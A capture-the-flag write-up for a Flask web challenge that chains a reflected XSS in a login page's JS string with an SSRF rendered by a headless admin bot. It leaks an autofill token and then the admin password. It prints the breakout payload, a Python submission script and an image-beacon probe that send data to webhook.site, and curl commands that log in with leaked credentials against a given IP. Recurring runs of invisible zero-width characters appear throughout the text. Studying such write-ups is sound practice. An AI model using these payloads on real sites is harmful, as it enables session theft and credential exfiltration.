← Back to Writeups
CUSTOMMediumWeb

Бета-панель (Beta Panel)

XESXOR9/2/20266 min read
#web#custom#medium#admin_password_theft_via_xss#bot_appended_secret_parameter#credential_autofill_token_disc#reflected_xss_in_js_string_con#ssrf_renders_in_headless_bot

Бета-панель (Beta Panel)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_password_theft_via_xss, bot_appended_secret_parameter, credential_autofill_token_disclosure, reflected_xss_in_js_string_context, ssrf_renders_in_headless_bot

Summary

Walkthrough of the CUSTOM Web Бета-панель (Beta Panel). Task: Flask 'beta panel' with reflected XSS in /login?error= (JS-string context) and a blind SSRF /healthcheck that is actually rendered by a HeadlessChrome admin bot. Solution: the bot carries a cons

Description

Сайт находится в стадии доработки, доступен только минимальный функционал. Некоторые разделы и возможности пока недоступны, или доступны не всем.

English summary: A Flask site "under construction" exposes only minimal functionality; some sections are unavailable, or available "not to everyone" (role-gated). The goal is to reach the admin-only area and read the flag. The intended path chains a reflected XSS in the login page with a HeadlessChrome admin bot that carries a credential-autofill token, ultimately leaking the admin password. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Recon & Attack Surface

Flask app (Werkzeug 3.1.3, Python 3.11.6). Routes:

RouteMethodBehavior
/GETPublic home with Login/Register nav
/loginGET/POSTLogin form; POST authenticates
/registerPOSTCreates a user, redirects to /login
/profileGET (auth)Shows "Status: User"
/adminGET (auth)Normal user => 403; unauthenticated => 302 /login
/healthcheckGET/POST (auth)SSRF feature
/logoutGETClears session
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Everything else 404. No robots.txt, no Werkzeug debug console.

  • Session cookie is a Flask signed cookie holding {"user_id": N} (a freshly registered user got {"user_id":2}).
  • The admin username already exists — registering admin returns User already exists — and corresponds to user_id=1.

Vulnerability 1 — Reflected XSS in /login?error= (JS string context)

The login page injects the error query parameter into an inline script:

html
<script>
const error = "<INJECTED>";
if (error) { document.getElementById('error').innerHTML = error; ... }
</script>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The value is not escaped inside the JS string. Breaking out of the string with a " then closing the statement and commenting out the trailing quote gives arbitrary JS:

/login?error=";<JS>//

renders as:

js
const error = "";<JS>//";

and <JS> executes. (The username on /profile is HTML-escaped and Jinja does not evaluate {{7*7}}, so there is no stored XSS / SSTI there.)

Vulnerability 2 — "Blind" SSRF in /healthcheck rendered by a HeadlessChrome admin bot

/healthcheck shows a form with a hidden default url=http://127.0.0.1:8000/healthcheck; POST url=... (form-encoded). The response is only {"result":"OK"} or {"result":"Error"} — apparently blind. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • Filter: the parsed authority host must be exactly 127.0.0.1 and port 8000. localhost, 0.0.0.0, [::1], decimal IP, and all external hosts => Error. Userinfo/@ tricks and host-confusion all fail (the host must truly parse to 127.0.0.1:8000). Raw external OOB to webhook.site never landed.
  • Key discovery: the submitted url is opened by a real HeadlessChrome bot (User-Agent: HeadlessChrome/114.0.5735.133). So url=http://127.0.0.1:8000/login?error=<XSS> makes the bot execute our JS on origin http://127.0.0.1:8000. The earlier solver hint "ssrf не рендерил xss-ки, на коллаборатор стучало" was misleading: the SSRF does render — the OOB hits came from the bot's browser fetches. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Investigation Narrative

Using the XSS-in-bot primitive (see xss.py), we probed what the bot can do:

  1. The bot renders JS. Submitting url=http://127.0.0.1:8000/login?error=";<beacon>// produced a callback at webhook.site ~10–20s later, confirming JS execution in a real browser.
  2. The bot is fully UNAUTHENTICATED. document.cookie is empty (HttpOnly session); fetch('/admin'|'/profile'|'/healthcheck', {credentials:'include'}) and an <iframe> load all returned 302 -> /login (verified by exfiltrating status/body to webhook.site). So XSS-in-bot does not directly grant the admin cookie or the admin page.
  3. Internal scan from the bot: only 127.0.0.1:8000 is alive. Ports 80/3001/5000/8080/9000, docker gateways, and service names all => "Failed to fetch". No /documents, /docs, /user/<id>, /creds, /api/* (all 404) — unlike the related "Museum" challenge.
  4. The pivotal clue — a constant &s= token. Reading location.href inside the XSS revealed the bot always navigates to OUR_URL + "&s=0R35B9F65M5B". The value is constant across every submitted URL (not an HMAC of the URL). The bot is carrying a "remember-me"/autofill token, analogous to the secret-appended-to-URL pattern in TJCTF "chained". ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Dead Ends (kept for learning value)

  • Flask session forgery. Brute-forced SECRET_KEY with flask-unsign over rockyou.txt (~14.3M attempts) and a common-10k list — FAILED. The server validates signatures properly. Forgery is dead.
  • No internal creds page. Unlike "Museum", there is no /documents//docs page the bot could read to leak admin credentials.
  • No SQLi / JSON injection. Login/register do not 500 on " or \ (unlike "Bug Bounty-code"); mass assignment on /register (is_admin/role/admin/user_id/status) is ignored; there is no /edit endpoint.
  • s on /admin does nothing; it is not header auth, not the Flask SECRET_KEY, not the admin password directly. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The Win — Credential-Autofill Token Disclosure

The constant s=0R35B9F65M5B is a credential-autofill / remember-me token. Requesting:

GET /login?s=0R35B9F65M5B

makes the server render the login form with the admin credentials pre-filled into the input value= attributes:

html
<input ... name="username" value="admin" ...>
<input type="password" name="password" value="voZ6iXvRkn4DGkWR" ...>

Intended chain: the admin bot, carrying &s=0R35B9F65M5B, lands on /login; the form autofills the admin password into the password field; our reflected XSS reads document.querySelector('[name=password]').value and exfiltrates it. Practical shortcut once s is known: the autofilled values are in the server response itself — just read the value= attributes directly (no XSS needed at that point). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit

bash
# 1) Leak admin creds via the autofill token (recovered from the bot's appended &s=)
curl 'http://62.173.140.174:16087/login?s=0R35B9F65M5B'
#   => <input name="username" value="admin">
#      <input name="password" value="voZ6iXvRkn4DGkWR">

# 2) Log in as admin
curl -c j -d 'username=admin&password=voZ6iXvRkn4DGkWR' http://62.173.140.174:16087/login
#   => Set-Cookie: session=...   (decodes to {"user_id":1}; /profile shows "Status: Admin")

# 3) Read the admin page
curl -b j http://62.173.140.174:16087/admin
#   => <div class="flag">CODEBY{REDACTED}</div>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

XSS-in-bot tooling (reproduction aid)

xss.py reads JS from stdin, substitutes the literal OOB with a webhook.site base URL, wraps it as ";<JS>//, and submits it via POST /healthcheck as url=http://127.0.0.1:8000/login?error=<encoded>. The bot executes the JS ~10–20s later; read callbacks at https://webhook.site/token/<token>/requests.

python
#!/usr/bin/env python3
import sys, urllib.parse, requests

BASE = "http://62.173.140.174:16087"
COOKIE = {"session": "<your_session_cookie>"}
OOB = "https://webhook.site/<your-token>"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def submit(js):
    payload = '";' + js + '//'                       # break out of: const error = "<HERE>";
    enc = urllib.parse.quote(payload, safe='')
    target = f"http://127.0.0.1:8000/login?error={enc}"
    r = requests.post(f"{BASE}/healthcheck", cookies=COOKIE,
                      data={"url": target}, timeout=25)
    print("submit:", r.text.strip())

if __name__ == "__main__":
    js = sys.stdin.read().replace("OOB", OOB)
    submit(js)

Caveat: payloads that do many sequential await fetch to dead hosts can exceed the bot's timeout before the final beacon fires — send the beacon early and keep payloads short. A handy probe is new Image().src='OOB/?h='+encodeURIComponent(location.href) to reveal the bot's appended &s= token. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Related CTFBase Writeups

  • 20260331_hackerlab_museum — XSS bot reads an internal page holding admin creds, then admin login -> /admin flag (same author/IP family).
  • 20260515_tjctf_chained — secret token appended to a bot-visited URL (the &s= pattern).
  • 20260502_hackerlab_bug_bounty_code — JSON injection / is_admin mass-assignment variant (ruled out here).
  • 20260309_fyrkbomb_tetris — related login-XSS / reflected-context technique. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering admin_password_theft_via_xss, bot_appended_secret_parameter, credential_autofill_token_disclosure, reflected_xss_in_js_string_context, ssrf_renders_in_headless_bot was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-04-05 • CUSTOM • Бета-панель (Beta Panel) • Difficulty: Medium